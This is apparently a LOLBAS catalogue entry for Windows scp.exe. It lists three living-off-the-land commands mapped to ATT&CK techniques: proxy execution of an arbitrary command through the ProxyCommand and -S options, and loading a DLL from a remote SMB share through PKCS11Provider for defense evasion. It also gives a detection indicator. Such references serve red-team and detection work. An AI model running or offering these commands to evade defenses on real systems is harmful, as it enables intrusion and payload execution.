LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

scp.exe

View source

Used for uploading or downloading files over SSH.

Execute
03COMMAND EXAMPLES
02ATT&CK TECHNIQUES
00DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

Execute3

EXAMPLE 01T1202

Spawns specified command from `scp.exe` -> `ssh.exe`, even if no SSH server is running on localhost (or any other address specified).

COMMAND
scp.exe -o ProxyCommand="{CMD}" . localhost:.
USE CASE
Proxy execution of specified command, can be used as a defensive evasion.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · CMD
EXAMPLE 02T1202

Spawns specified command from `scp.exe` -> `ssh.exe`, even if no SSH server is running on localhost (or any other address specified).

COMMAND
scp.exe -S "{CMD}" . localhost:.
USE CASE
Proxy execution of specified command, can be used as a defensive evasion.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · CMD
EXAMPLE 03T1218

Loads a DLL from an absolute path or SMB path into child process `ssh.exe` by abusing the `PKCS11Provider` option. The payload executes upon DLL load (`DllMain`) and requires exporting `C_GetFunctionList` to prevent premature termination by `scp.exe`.

COMMAND
scp -o PKCS11Provider="{PATH_SMB:.dll}" . win@github.com:.
USE CASE
Performs indirect execution of a specified DLL from a remote share, can be used for defense evasion.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · DLLExecute · Remote
02 / ON DISK

Known paths

C:\Windows\System32\OpenSSH\scp.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

0 resources

Indicators & detection notes

  • IOC

    `scp.exe` executions referencing `ProxyCommand`.

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

BinFault@binfault
Nir Chako (Pentera)@C_h4ck_0
Edo Maland@screetsec